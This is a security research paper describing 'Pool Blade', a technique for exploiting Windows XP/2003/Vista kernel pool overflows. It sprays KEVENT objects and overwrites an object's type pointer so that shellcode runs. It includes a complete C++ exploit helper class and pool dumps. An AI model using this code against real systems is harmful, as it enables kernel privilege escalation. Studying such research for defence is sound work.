Pool Blade

Generic windows local pool exploitation

Abstract

In recent years many methods have been discussed regarding exploitation of pool overflow corruptions. Most of these methods are based on the architecture of Pool manager in windows. In this paper I am going to discuss a generic method that is based on kernel objects and not the pool manager and because of the nature of this technic it is possible to exploit pool overflow vulnerabilities easier and more reliable. So I Introduce Pool Blade helper class that let us exploit pool overflow in a very short time by just calling some interface and triggering the vulnerability. Pool blade and the technic discussed in this paper is just supported by windows XP/2003/vista but it can be extended to support more recent windows operating systems.

By Ahmad Moghimi

http://mallocat.com

Sponsored by ZDRESEARCH Team

http://zdresearch.com

Introduction

Exploiting pool overflow using the architecture of pool manager in windows widely discussed by Tarjei Mandt as [kernel pool exploitation on windows 7](). There are various problems with methods that are based on the Pool allocator:

- Most of the time Pool allocator exploitation is based on the write4 condition and we have to do extra coding of getting address of kernel objects like HalDispatchTable.
- The deferred pool kill reliability and we have extra headache of solving this problem.
- Many threads on the operating system do pool allocations and frees so there is a high chance to get BSOD before having time to fix pool descriptor.
- Fixing the pool descriptor also needs extra effort and bigger shellcode.

Although most of the times the above problems are solvable but it makes kernel exploitation a headache and sometimes unreliable and unreliability in kernel means BSOD and system panic, So In this paper we are going to discuss another method which avoid corrupting any pool structure and is based on DKOM (Direct kernel object modification) which discussed By Nikita Tarkanov at NoSuchCon.

Pool Feng Shui

Heap Feng Shui is a method to exploit heap related issues more reliable on user land and mostly browsers. The same concept can be applied to Pool allocator that is a kind of heap for kernel land. To apply this concept to pool memory we should be able to allocate and free pool blocks by the help of some user mode API.

By analyzing the interface of some NT SYSCALLs we can see that Kernel objects can be created using NtCreateX SYSCALLs. X can be any kind of kernel objects like Process, Key, Port, File, Event, Semaphore. Calling such SYSCALLs lead to the calling of nt!ObCreateObject. ObCreateObject allocate a block of pool memory for storing the content of kernel objects by calling ObpAllocateObject:

```
PAGE:004EA504        push   eax
PAGE:004EA505        push   esi
PAGE:004EA506        push   [ebp+arg_C]
PAGE:004EA509        mov    [edi+10h], ecx
PAGE:004EA50C        push   edi
PAGE:004EA50D        call   ObpAllocateObject(x,x,x,x,x,x)
PAGE:004EA512        mov    ebx, eax
```

The allocated memory will be available until the life time of the object, so when the process exits or The handle of the kernel object get closed by help of the NtClose Syscall the allocated buffer for the object will be freed. And it is possible to allocate and free memory by Creating and destroying objects.

Between kernel objects one of them is interesting for me because it allocates a small block of memory. Here is the structure of KEVENT object in WINXPSP3:

```
typedef struct _KEVENT                  // 1 elements, 0x10 bytes (sizeof)
{
/*0x000*/      struct _DISPATCHER_HEADER Header; // 6 elements, 0x10 bytes (sizeof)
}KEVENT, *PKEVENT;
```

As every kernel object has an Object header with size of 0x18 bytes so when ObpAllocateObject allocates for KEVENT object, it allocates 0x18+0x10 = 0x28 bytes of pool memory. By considering size of the pool meta data (8 byte) every call to CreateEvent API will allocate 0x30 byte of memory:

```
CreateEvent -> nt!NtCreateEvent -> nt!ObCreateObject -> ObpAllocateObject -> ExAllocatePoolWithTag
```

Consider we have a pool overflow vulnerability, by creating and destroying lots of KEVENT object it is possible to force the vulnerable buffer to be allocated before a KEVENT object. For this purpose, we should first try to create lots of KEVENT objects (or any type of objects) to defragment pool pages. My experiment shows that if I create 0x100000 event, it allocates 0x30*0x100000 =~ 50 mb of pool memory that is large enough to fill Non-paged pool blocks and allocate new pages of memory at bottom pages.

Then it is possible to make some holes with size of the vulnerable buffer. For example if the vulnerable buffer size is 0x7d8 bytes we can make some 0x7d8 byte holes by closing handle of (0x7d8/0x30)+1 = 0x2a number of event objects that lead to freeing 0x2a block of KEVENT object memory and pool allocator use the same coalescing algorithm of the heap allocator to make a new free block of 0x7d8 bytes when freeing continues block of memories.

```
8356b000 size:   30 previous size:    0  (Allocated)  Even (Protected)
8356b030 size:   10 previous size:   30  (Free)       ...n
8356b040 size:   30 previous size:   10  (Allocated)  Even (Protected)
8356b070 size:    8 previous size:   30  (Free)       Even
*8356b078 size:  7d8 previous size:    8  (Allocated) *Ddk
8356b850 size:   30 previous size:  7d8  (Allocated)  Even (Protected)
8356b880 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356b8b0 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356b8e0 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356b910 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356b940 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356b970 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356b9a0 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356b9d0 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356ba00 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356ba30 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356ba60 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356ba90 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356bac0 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356baf0 size:   30 previous size:   30  (Allocated)  Even (Protected)
8356bb20 size:   30 previous size:   30  (Allocated)  Even (Protected)
```

Object Header Function pointer overwrite

Here is the structure of Object header on windows before vista:

```
typedef struct _OBJECT_HEADER              // 12 elements, 0x20 bytes (sizeof)
          {
/*0x000*/      LONG32        PointerCount;
               union               // 2 elements, 0x4 bytes (sizeof)
               {
/*0x004*/          LONG32        HandleCount;
/*0x004*/          VOID*         NextToFree;
               };
/*0x008*/      struct _OBJECT_TYPE* Type;
/*0x00C*/      UINT8         NameInfoOffset;
/*0x00D*/      UINT8         HandleInfoOffset;
/*0x00E*/      UINT8         QuotaInfoOffset;
```

```
/*0x00F*/      UINT8         Flags;
               union              // 2 elements, 0x4 bytes (sizeof)
               {
/*0x010*/          struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo;
/*0x010*/          VOID*         QuotaBlockCharged;
               };
/*0x014*/      VOID*         SecurityDescriptor;
/*0x018*/      struct _QUAD Body;    // 1 elements, 0x8 bytes (sizeof)
           }OBJECT_HEADER, *POBJECT_HEADER;
```

In this structure there is a pointer to some OBJECT_TYPE data structure that specify type of object and is different for various kernel objects. When we force the vulnerable buffer to be allocated before a Kernel objects we have the ability to calculate the offset of this pointer exactly and overwrite it without corrupting Pool block metadata so we can fake the OBJECT_TYPE structure of the next kernel objects. Here is the structure of OBJECT_TYPE:

```
typedef struct _OBJECT_TYPE   // 12 elements, 0x190 bytes (sizeof)
          {
/*0x000*/      struct _ERESOURCE Mutex;                     // 13
elements, 0x38 bytes (sizeof)
/*0x038*/      struct _LIST_ENTRY TypeList; // 2 elements, 0x8 bytes
/*0x040*/      struct _UNICODE_STRING Name; // 3 elements, 0x8 bytes
/*0x048*/      VOID*         DefaultObject;
/*0x04C*/      ULONG32       Index;
/*0x050*/      ULONG32       TotalNumberOfObjects;
/*0x054*/      ULONG32       TotalNumberOfHandles;
/*0x058*/      ULONG32       HighWaterNumberOfObjects;
/*0x05C*/      ULONG32       HighWaterNumberOfHandles;
/*0x060*/      struct _OBJECT_TYPE_INITIALIZER TypeInfo; // 20
elements, 0x4C bytes (sizeof)
/*0x0AC*/      ULONG32       Key;
/*0x0B0*/      struct _ERESOURCE ObjectLocks[4];
          }OBJECT_TYPE, *POBJECT_TYPE;
```

In the OBJECT TYPE INITIALIZER section of this structure there are some valuable pointers:

```
      typedef struct _OBJECT_TYPE_INITIALIZER
// 20 elements, 0x70 bytes (sizeof)
          {
/*0x000*/      UINT16        Length;
/*0x002*/      UINT8         UseDefaultObject;
/*0x003*/      UINT8         CaseInsensitive;
/*0x004*/      ULONG32       InvalidAttributes;
/*0x008*/      struct _GENERIC_MAPPING GenericMapping;
/*0x018*/      ULONG32       ValidAccessMask;
/*0x01C*/      UINT8         SecurityRequired;
/*0x01D*/      UINT8         MaintainHandleCount;
/*0x01E*/      UINT8         MaintainTypeList;
/*0x01F*/      UINT8         _PADDING0_[0x1];
/*0x020*/      enum _POOL_TYPE PoolType;
/*0x024*/      ULONG32       DefaultPagedPoolCharge;
/*0x028*/      ULONG32       DefaultNonPagedPoolCharge;
/*0x02C*/      UINT8         _PADDING1_[0x4];
/*0x030*/      PVOID DumpProcedure;
/*0x038*/      PVOID OpenProcedure;
/*0x040*/      PVOID CloseProcedure;
/*0x048*/      PVOID DeleteProcedure;
```

```
/*0x050*/      PVOID ParseProcedure;
/*0x058*/      PVOID SecurityProcedure;
/*0x060*/      PVOID QueryNameProcedure;
/*0x068*/      PVOID OkayToCloseProcedure;
          }OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
```

Because we can control Object_type data structure to a fake structure in user land memory, it is possible to control these procedures. The mentioned security procedure get called when destroying the object and because it is under control we can set it to address shellcode.

Note: the technic of overwriting kernel object to get control over Procedures is only possible on windows XP/2003/VISTA because OBJECT_TYPE is not exist anymore in the OBJECT HEADER, But it is still possible to find and overwrite other critical structures or pointers on 7/8.

Pool Blade Helper class

I made some small class that can be used to exploit pool overflows easier:

```
PoolBlade::PoolBlade()
{
       fake = NULL;
       buffer = NULL;
       pShellcode = NULL;
       hArr = NULL;
       dwPoolSize = 0;
}

PoolBlade::PoolBlade(VOID * shellcode, DWORD size)
{
       PoolBlade();
       pShellcode = shellcode;
       dwPoolSize = size;
}

VOID PoolBlade::Fill()
{
       for(int i = 0 ; i < 0x100000 ; i++)
              CreateEvent(NULL, FALSE, FALSE, NULL);
}
BYTE * PoolBlade::AutoExploitInit(DWORD *size)
{
       if(pShellcode == NULL || dwPoolSize == 0)
              return NULL;

       Fill();

       int i;
       hArr = new HANDLE[0x10000];
       for(i = 0 ; i < 0x10000 ; i++)
              hArr[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

       for(i = 0 ; i < 0xf000 ; i+=0x200)
              for(int j = 0; j < (dwPoolSize / 0x30)+1; j++)
                     CloseHandle(hArr[i+j]);

       *size = dwPoolSize + 0x16;
```

```
        buffer = new BYTE[*size];
        memset(buffer, 0x41, dwPoolSize);


        *(WORD*)(buffer+dwPoolSize) = ((dwPoolSize+8)/8) & 0x1ff;
        buffer[dwPoolSize+2] = 0x06;
        buffer[dwPoolSize+3] = 0x0A;
        *(DWORD*)(buffer+dwPoolSize+4) = 0xee657645;
        *(DWORD*)(buffer+dwPoolSize+8) = 0xdeadfa11;
        *(DWORD*)(buffer+dwPoolSize+0xC) = 0xcafebabe;

        fake = new BYTE[0x190];
        memset(fake, 0, 0x190);
        *(DWORD*)(fake+0xA8) = (DWORD)pShellcode;

        *(DWORD*)(buffer+dwPoolSize+0x10) = (DWORD)fake;
        *(WORD*)(buffer+dwPoolSize+0x14) = NULL;
        return buffer;
}

VOID PoolBlade::ExploitFinish()
{

        for(int i = 0 ; i < 0x10000 ; i++)
                CloseHandle(hArr[i]);

        if (fake != NULL)
                delete fake;
        if ( buffer != NULL)
                delete buffer;
        if(hArr != NULL)
                delete hArr;
}
```

The class simply has two interfaces. We instance an object from the class by specifying size of buffer and a pointer to shellcode function. Then calling AutoExploitInit interface, defragments the pool and make the proper holes for the requested size of buffer. It also returns some proper buffer that can be used in the inputs of the vulnerability. Then after triggering the vulnerability by the prepared buffer it is possible to free the allocated buffer and trigger the fake SecurityProcedure to execute the shellcode by calling ExploitFinish function.

For demonstration of the method and usage of the class an exploit code for some pool overflow vulnerability in AhnlabV3 Internet security Product is available here, The class can be extended to support more recent version of windows and also better control over input data and triggering the vulnerability.

Pros

1- So Reliable
   Because we don't corrupt pool header and metadata.
2- Fast
   It is possible to exploit a trivial pool overflow in just some minutes

Cons

1- Windows XP/2003/Vista only
2- Only applicable to Pool overflows of buffer greater than 0x30 bytes.

Counter measurement

By using a separate pool for kernel objects or other critical data structures it is possible to reduce the chance of overwriting critical things.

References:

http://msdn.moonsols.com

http://www.nosuchcon.org/talks/D3_02_Nikita_Exploiting_Hardcore_Pool_Corruptions_in_Microsoft_Windows_Kernel.pdf

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-Slides.pdf

Final note

Exploiting kernel is not rocket science and just needs better understating of the underlying operating system. We as ZDRESEARCH worked through exploiting concepts and some part of our understandings are available as exploitation course that is available here!. Everyone interested can enroll now.